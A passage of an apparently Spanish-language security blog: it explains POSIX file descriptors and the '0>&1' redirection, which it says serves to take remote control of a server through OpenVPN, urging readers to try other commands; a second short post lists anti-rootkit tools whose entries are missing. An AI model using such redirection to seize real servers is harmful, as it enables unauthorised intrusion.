La expresión "0>&1" proviene de un concepto llamado file descriptor, que es usado generalmente en sistemas operativos tipo POSIX. En la terminología de Microsoft Windows y en el contexto de la biblioteca stdio, se prefiere el término "manipulador de archivos" o "manipulador de ficheros", ya que es técnicamente un objeto diferente. En POSIX, un descriptor de archivo es un entero, específicamente del tipo int de C. Hay 3 descriptores de archivo estándar de POSIX que presumiblemente tiene cada proceso, salvo quizá los demonios:

Valor enteroNombre
0Entrada estándar (stdin)
1Salida estándar (stdout)
2Error estándar (stderr)

Una forma de referirse a ellas es usando, según el lenguaje de programación y el entorno letras mayúsculas o minúsculas, los nombres STDIN, STDOUT y STDERR.

El shell del sistema es el encargado, generalmente, de abrir esta entrada y conectarla con el terminal al que está asignado el programa, puesto que es el programa más usual para comunicarse con un operador. Acá convertimos el STDIN en STDOUT... ¿por qué?

STDOUT determina el destino del resultado de un programa o proceso, por defecto es la pantalla y se muestra el resultado en la consola de la terminal, sin embargo puede redirigirse hacia un archivo, por ejemplo. Si ya les pasó por la cabeza, si... es para hacernos del control del servidor en forma remota por medio del servicio OpenVPN.

Lo que queda es fijarse en el log, te mostrará una info muy interesante acerca del certificado y otras cosillas. Les dejo la inquietud rebotando en sus cabezas... tírense al agua y prueben otros comandos.

Nos vemos gente!

martes, 30 de septiembre de 2014

Listado de Anti-Rootkit

Hola gente!

Por allá del 2010, un researcher llamado a_d_13 publicó un listado de Anti-rootkits. Revisé todos los links y estos están vigentes aún. Espero que este listado les sea de utilidad y logré resolverles algún problema con rootkits. Acá la lista:

Herramientas de 32 bits:
Herramientas de 64 bits:
Nos vemos.